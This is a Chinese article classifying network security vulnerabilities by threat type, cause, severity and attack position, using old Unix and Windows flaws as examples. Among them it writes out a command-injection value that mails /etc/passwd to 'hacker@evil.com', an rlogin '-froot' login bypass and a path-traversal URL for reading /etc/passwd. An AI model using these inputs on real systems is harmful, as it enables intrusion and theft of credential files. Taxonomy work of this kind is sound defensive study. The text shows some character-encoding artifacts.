計算機網(wǎng)絡(luò)系統(tǒng)安全漏洞分類研究
寫本文的目地是為了總結(jié)一些東西,解決在試圖構(gòu)造一個漏洞數(shù)據(jù)庫的過程中碰到的主要問題,也就是如何對計算機網(wǎng)絡(luò)漏洞進行分類的問題。文中的一些想法并不成熟,有些甚至連自己也不滿意,權(quán)作拋磚引玉,以期與在這方面有深入研究的同仁交流,共同提高完善。
一個計算機網(wǎng)絡(luò)安全漏洞有它多方面的屬性,我認為主要可以用以下幾個方面來概括:漏洞可能造成的直接威脅,漏洞的成因,漏洞的嚴重性,漏洞被利用的方式。以下的討論將回繞這幾個方面對漏洞細分其類。
A.按漏洞可能對系統(tǒng)造成的直接威脅
可以大致分成以下幾類,事實上一個系統(tǒng)漏洞對安全造成的威脅遠不限于它的直接可能性,如果攻擊者獲得了對系統(tǒng)的一般用戶訪問權(quán)限,他就極有可能再通過利用本地漏洞把自己升級為管理員權(quán)限:
一.遠程管理員權(quán)限
攻擊者無須一個賬號登錄到本地直接獲得遠程系統(tǒng)的管理員權(quán)限,通常通過攻擊以root身份執(zhí)行的有缺陷的系統(tǒng)守護進程來完成。漏洞的絕大部分來源于緩沖區(qū)溢出,少部分來自守護進程本身的邏輯缺陷。
典型漏洞:
IMAP4rev1 v10.190版的守護進程imapd的AUTHENTICATE命令存在讀入?yún)?shù)時未做長度檢查,構(gòu)造一個精心設(shè)計的AUTH命令串,可以溢出imapd的緩沖區(qū),執(zhí)行指定的命令,由于imapd以root身份運行,從而直接獲得機器的root權(quán)限。
WindowsNT IIS 4.0的ISAPI DLL對輸入的URL未做適當?shù)倪吔鐧z查,如果構(gòu)造一個超長的URL,可以溢出IIS (inetinfo.exe)的緩沖區(qū),執(zhí)行我們指定的代碼。由于inetinfo.exe是以local system身份啟動,溢出后可以直接得到管理員權(quán)限。
早期AIX 3.2 rlogind代碼存在認證邏輯缺陷,用rlogin victim.com -l -froot,可以直接以root身份登錄到系統(tǒng)而無須提供口令。
二.本地管理員權(quán)限
攻擊者在已有一個本地賬號能夠登錄到系統(tǒng)的情況下,通過攻擊本地某些有缺陷的suid程序,競爭條件等手段,得到系統(tǒng)的管理員權(quán)限。
典型漏洞:
RedHat Linux的restore是個suid程序,它的執(zhí)行依靠一個中RSH的環(huán)境變量,通過設(shè)置環(huán)境變量PATH,可以使RSH變量中的可執(zhí)行程序以root身份運行,從而獲得系統(tǒng)的root權(quán)限。
Solaris 7的Xsun程序有suid位,它對輸入?yún)?shù)未做有效的邊界檢查,可以很容易地溢出它的緩沖區(qū),以root身份運行我們指定的代碼,從而獲得管理員權(quán)限。
在windows2000下,攻擊者就有機會讓網(wǎng)絡(luò)DDE(一種在不同的Windows機器上的應用程序之間動態(tài)共享數(shù)據(jù)的技術(shù))代理在本地系統(tǒng)用戶的安全上下文中執(zhí)行其指定的代碼,從而提升權(quán)限并完全控制本地機器。
三.普通用戶訪問權(quán)限
攻擊者利用服務器的漏洞,取得系統(tǒng)的普通用戶存取權(quán)限,對UNIX類系統(tǒng)通常是shell訪問權(quán)限,對Windows系統(tǒng)通常是cmd.exe的訪問權(quán)限,能夠以一般用戶的身份執(zhí)行程序,存取文件。攻擊者通常攻擊以非root身份運行的守護進程,有缺陷的cgi程序等手段獲得這種訪問權(quán)限。
典型漏洞:
UBB是個廣泛運行于各種UNIX和Windows系統(tǒng)的論壇程序,用PERL實現(xiàn),它的5.19以下版本存在輸入驗證問題,通過提交精心構(gòu)造的表單內(nèi)容,可以使UBB去執(zhí)行shell命令,因為一般的web服務器以nobody身份運行,因此可以得到一個nobody shell。比如提交這樣的數(shù)據(jù):topic='012345.ubb|mail hacker@evil.com </etc/passwd|',我們就可以得到系統(tǒng)的passwd文件。
RedHat Linux 6.2帶的innd 2.2.2.3版新聞服務器,存在緩沖區(qū)溢出漏洞,通過一個精心構(gòu)造的新聞信件可以使innd服務器以news身份運行我們指定的代碼,得到一個innd權(quán)限的shell。
Windows IIS 4.0-5.0存在Unicode解碼漏洞,可以使攻擊者利用cmd.exe以guest組的權(quán)限在系統(tǒng)上運行程序。相當于取得了普通用戶的權(quán)限。
四.權(quán)限提升
攻擊者在本地通過攻擊某些有缺陷的sgid程序,把自己的權(quán)限提升到某個非root用戶的水平。獲得管理員權(quán)限可以看做是一種特殊的權(quán)限提升,只是因為威脅的大小不同而把它獨立出來。
典型漏洞:
RedHat Linux 6.1帶的man程序為sgid man,它存在format bug,通過對它的溢出攻擊,可以使攻擊者得到man組的用戶權(quán)限。
Solaris 7的write程序為sgid tty,它存在緩沖區(qū)溢出問題,通過對它的攻擊可以攻擊者得到tty組的用戶權(quán)限。
WindowsNT系統(tǒng)中,攻擊者能夠使系統(tǒng)中其他用戶裝入一個”特洛化”的porfile,使其他用戶執(zhí)行攻擊者的惡意代碼,有時甚至是管理員。
五.讀取受限文件
攻擊者通過利用某些漏洞,讀取系統(tǒng)中他應該沒有權(quán)限的文件,這些文件通常是安全相關(guān)的。這些漏洞的存在可能是文件設(shè)置權(quán)限不正確,或者是特權(quán)進程對文件的不正確處理和意外dump core使受限文件的一部份dump到了core文件中。
典型漏洞:
SunOS 5.5的ftpd存在漏洞,一般用戶可以引起ftpd出錯而dump出一個全局可讀的core文件,里面有shadow文件的片斷,從而使一般用戶能讀到shadow的部分內(nèi)容。
SuSE 6.2的suid程序pg,對它的配置文件處理存在問題,當把pb.conf鏈接到特權(quán)文件,可以用pb讀取那些文件的內(nèi)容。
Oracle 8.0.3 Enterprise Edition for NT 4.0的日志文件全局可讀而且為明文,它記錄了連接的口令,很可能被攻擊者讀到。
六.遠程拒絕服務
攻擊者利用這類漏洞,無須登錄即可對系統(tǒng)發(fā)起拒絕服務攻擊,使系統(tǒng)或相關(guān)的應用程序崩潰或失去響應能力。這類漏洞通常是系統(tǒng)本身或其守護進程有缺陷或設(shè)置不正確造成的。
早期的Linux 和 BSD的tcp/ip堆棧的ip 片斷重組模塊存在缺陷,攻擊通過向系統(tǒng)發(fā)出特殊的ip片斷包可以使機器崩潰。
Windows2000帶的Netmeeting 3.01存在缺陷,通過向它發(fā)送二進制數(shù)據(jù)流,可以使服務器的CPU占用達到100%。
通過發(fā)送一個帶有超長參數(shù)的USER命令給AnalogX Proxy Server 4.04的ftp端口,可以使這個應用程序崩潰。
七.本地拒絕服務
在攻擊者登錄到系統(tǒng)后,利用這類漏洞,可以使系統(tǒng)本身或應用程序崩潰。這種漏洞主要因為是程序?qū)σ馔馇闆r的處理失誤,如寫臨時文件之前不檢查文件是否存在,盲目跟隨鏈接等。
BSDi 3.x存在漏洞可以使一個本地用戶用一些垃圾覆蓋系統(tǒng)上的任何,這樣會很容易地把系統(tǒng)搞成不可用。
RedHat 6.1的tmpwatch程序存在缺陷,可以使系統(tǒng)fork()出許多進程,從而使系統(tǒng)失去響應能力。
八.遠程非授權(quán)文件存取
利用這類漏洞,攻擊可以不經(jīng)授權(quán)地從遠程存取系統(tǒng)的某些文件。這類漏洞主要是由一些有缺陷的cgi程序引起的,它們對用戶輸入沒有做適當?shù)暮戏ㄐ詸z查,使攻擊者通過構(gòu)造特別的輸入獲得對文件存取。
典型漏洞:
Poll_It_SSI_v2.0.cgi存在漏洞可以使攻擊者看到web目錄外的所有有權(quán)限看的文件,發(fā)送如下的請求給服務器就能看到/etc/passwd文件,http://www.targethost.com/pollit/Poll_It_v2.0.cgi?data_dir=\etc\passwd%00
Windows IIS 5.0存在一個漏洞,通過向它發(fā)送一個特殊的head標記,可以得到asp源碼,而不是經(jīng)過解釋執(zhí)行后asp頁面。
Windows IE存在諸多漏洞允許惡意的web頁面讀取瀏覽用戶的本地的文件。
九.口令恢復
因為采用了很弱的口令加密方式,使攻擊者可以很容易的分析出口令的加密方法,從而使攻擊者通過某種方法得到密碼后還原出明文來。
典型漏洞:
Windows下的PassWD v1.2用來管理系統(tǒng)中的各種口令,并和URL一起儲存起來。但它加密儲存的口令加密方式非常脆弱,經(jīng)過簡單的分析,就可以從加密后的口令還原出明文。
Pcanywhere 9.0采用非常脆弱的加密方法來加密傳輸中的口令,只要竅聽了傳輸中的數(shù)據(jù)很容易解碼出明文口令。
Browsegate是一個Windows下的代理防火墻,它的2.80.2版本,在配置文件中儲存了加密后的口令而且配置文件對所有用戶是可讀的,然而加密方式極其脆弱,可以很容易地解碼出明文。
十.欺騙
利用這類漏洞,攻擊者可以對目標系統(tǒng)實施某種形式的欺騙。這通常是由于系統(tǒng)的實現(xiàn)上存在某些缺陷。
典型漏洞
Windows IE曾經(jīng)存在一個漏洞允許一個惡意網(wǎng)絡(luò)在另一個風站的窗口內(nèi)插入內(nèi)容,從而欺騙用戶輸入敏感數(shù)據(jù)。
Linux kernel 2.0.35以下的tcp/ip堆棧存在漏洞,可以使攻擊者進行ip地址欺騙非常容易實現(xiàn)。
十一.服務器信息泄露
利用這類漏洞,攻擊者可以收集到對于進一步攻擊系統(tǒng)有用的信息。這類漏洞的產(chǎn)生主要是因為系統(tǒng)程序有缺陷,一般是對錯誤的不正確處理。
典型漏洞:
Windows IIS 3.0-5.0存在漏洞,當向系統(tǒng)請求不存在的.idq,.idq文件時,機器可能會返回出錯信息,里面暴露了IIS的安裝目錄信息,比如請求http://www.microsoft.com/anything.ida,服務器會返回Response: The IDQ file d:\http\anything.ida could not be found。這些對攻擊者進行攻擊可能帶來方便,比如廣泛流行的msadc的攻擊,需要知道系統(tǒng)的安裝目錄。
Linux kernel 2.1.53以下的tcp/ip堆棧開放和關(guān)閉的端口對特定的數(shù)據(jù)包有特定的回應,攻擊者可以利用這個特性進行端口的秘密掃描。
某些cgi程序如DBMan (db.cgi)存在漏洞可以使攻擊者看到一些系統(tǒng)的環(huán)境變量,使攻擊者獲得關(guān)于系統(tǒng)一些有用的信息。
十二.其它
雖然以上的幾種分類包括了絕大多數(shù)的漏洞情況,可還是有可能存在一些上面幾種類型無法描述的的漏洞,把它們歸到這里。
B.按漏洞的成因
對其分類,是對漏洞進行分類最另人頭疼的一個方面,因為對漏洞研究的不同抽象層次,會對同一個漏洞做出不同的分類,對下面提到的ps競爭條件漏洞,從最低層次上來說是參數(shù)驗證錯誤,因為相繼的系統(tǒng)調(diào)用并沒有檢查他們所處理的是否為同一個對象,從高一些的層次看,這是一個同步或競爭條件錯誤,從更高的層次看,這則是一個邏輯錯誤,因為對象可能在使用過程中被刪除。至今也沒看到一個比較完美分類方案,包括securityfocus上的分類也不能讓人滿意,現(xiàn)大致分成以下幾類:
輸入驗證錯誤
大多數(shù)的緩沖區(qū)溢出漏洞和cgi類漏洞都是由于未對用戶提供的輸入數(shù)據(jù)的合法性作適當?shù)臋z查。
訪問驗證錯誤
漏洞的產(chǎn)生是由于程序的訪問驗證部分存在某些可利用的邏輯錯誤,使繞過這種訪問控制成為可能。上面提到的那個早期AIX的rlogin漏洞就是這種典型。
競爭條件
漏洞的產(chǎn)生在于程序處理文件等實體時在時序和同步方面存在問題,這處理的過程中可能存在一個機會窗口使攻擊者能夠施以外來的影響。早期的Solaris系統(tǒng)的ps命令存在這種類型的漏洞,ps在執(zhí)行的時候會在/tmp產(chǎn)生一個基于它pid的臨時文件,然后把它chown為root,改名為ps_data。如果在ps運行時能夠創(chuàng)建這個臨時文件指向我們有興趣的文件,這樣ps執(zhí)行以后,我們就可以對這個root擁有文件做任意的修改,這可以幫助我們獲得root權(quán)限。
意外情況處置錯誤
漏洞的產(chǎn)生在于程序在它的實現(xiàn)邏輯中沒有考慮到一些意外情況,而這些意外情況是應該被考慮到的。大多數(shù)的/tmp目錄中的盲目跟隨符號鏈接覆蓋文件的漏洞屬于這種類型。例子:Sco UNIX openserver的/etc/sysadm.d/bin/userOsa存在盲目覆蓋調(diào)試日志文件的問題,而文件的名字是固定的,通過把文件名指向某些特權(quán)文件,可以完全破壞系統(tǒng)。
設(shè)計錯誤
這個類別是非?;\統(tǒng)的,嚴格來說,大多數(shù)的漏洞的存在都是設(shè)計錯誤,因此所有暫時無法放入到其他類別的漏洞,先放在這。
配置錯誤
漏洞的產(chǎn)生在于系統(tǒng)和應用的配置有誤,或是軟件安裝在錯誤的地方,或是錯誤的配置參數(shù),或是錯誤的訪問權(quán)限,策略錯誤。
環(huán)境錯誤
由一些環(huán)境變量的錯誤或惡意設(shè)置造成的漏洞。如攻擊者可能通過重置shell的內(nèi)部分界符IFS,shell的轉(zhuǎn)義字符,或其它環(huán)境變量,導致有問題的特權(quán)程序去執(zhí)行攻擊者指定的程序。上面提到的RedHat Linux的dump程序漏洞就是這種類型。
在漏洞的威脅類型和產(chǎn)生漏洞的錯誤類型之間存在一定的聯(lián)系,有直接聯(lián)系的威脅類型與錯誤類型用直線相連,可以看到如下的圖示:
遠程管理員權(quán)限
輸入驗證錯誤
本地管理員權(quán)限
訪問驗證錯誤
普通用戶訪問權(quán)限
競爭條件
權(quán)限提升 意外情況處置錯誤
讀取受限文件
遠程拒絕服務 設(shè)計錯誤
本地拒絕服務
遠程非授權(quán)文件存取
配置錯誤
口令恢復
欺騙 環(huán)境錯誤
服務器信息泄露
可以看到輸入驗證錯誤幾乎與所有的漏洞威脅有關(guān),設(shè)計錯誤與錯誤的配置也會導致很多威脅。
C.對漏洞嚴重性的分級
一般來說漏洞的威脅類型基本上決定了它的嚴重性,我們可以把嚴重性分成高,中,低三個級別。遠程和本地管理員權(quán)限大致對應為高,普通用戶權(quán)限,權(quán)限提升,讀取受限文件,遠程和本地拒絕服務大致對應中級,遠程非授權(quán)文件存取,口令恢復,欺騙,服務器信息泄露大致對應低級別。但這只是最一般的情況,很多時候需要具體情況具體分析,如一個涉及到針對流行系統(tǒng)本身的遠程拒絕服務漏洞,就應該是高級別。同樣一個被廣泛使用的軟件如果存在弱口令問題,有口令恢復漏洞,也應該歸為中高級別。
D.對漏洞被利用方式的分類
漏洞的存在是個客觀事實,但漏洞只能以一定的方式被利用,每個漏洞都要求攻擊處于網(wǎng)絡(luò)空間一個特定的位置,可能的攻擊方式分為以下四類:
物理接觸
攻擊者需要能夠物理地接觸目標系統(tǒng)才能利用這類漏洞,對系統(tǒng)的安全構(gòu)成威脅。圖示:
攻擊者 主機
主機模式
通常的漏洞利用方式。攻擊方為客戶機,被攻擊方為目標主機。比如攻擊者發(fā)現(xiàn)目標主機的某個守護進程存在一個遠程溢出漏洞,攻擊者可能因此取得主機的額外訪問權(quán)。
圖示:
攻擊 攻擊機器 主機
客戶機模式
當一個用戶訪問網(wǎng)絡(luò)上的一個主機,他就可能遭到主機發(fā)送給自己惡意命令的襲擊??蛻魴C不應該過度信任主機。如web瀏覽器IE存在不少漏洞,可以使一些惡意的網(wǎng)站用html標記通過那些漏洞在瀏覽的客戶機中執(zhí)行程序或讀寫文件。
圖示:
攻擊
客戶機 主機
中間人方式
當攻擊者位于一個可以觀察或截獲兩個機器之間的通信的位置時,就可以認為攻擊者處于中間人方式。因為很多時候主機之間以明文方式傳輸有價值的信息,因此攻擊者可以很容易地攻入其他機器。對于某些公鑰加密的實現(xiàn),攻擊者可以截獲并取代密鑰偽裝成網(wǎng)絡(luò)上的兩個節(jié)點來繞過這種限制。
圖示:
通信
主機 主機
竅聽或篡改
攻擊者
本文對網(wǎng)絡(luò)安全漏洞作了粗淺地分類,這遠不是一個完美的方案,有興趣的歡迎來信交流心得。
一些我讀過的參考資料: http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/data/library/compvuln_draft.pdf
當然還有:
http://www.xfocus.org/html/query_exploit.html
你能在那找到文中所舉的所有漏洞例子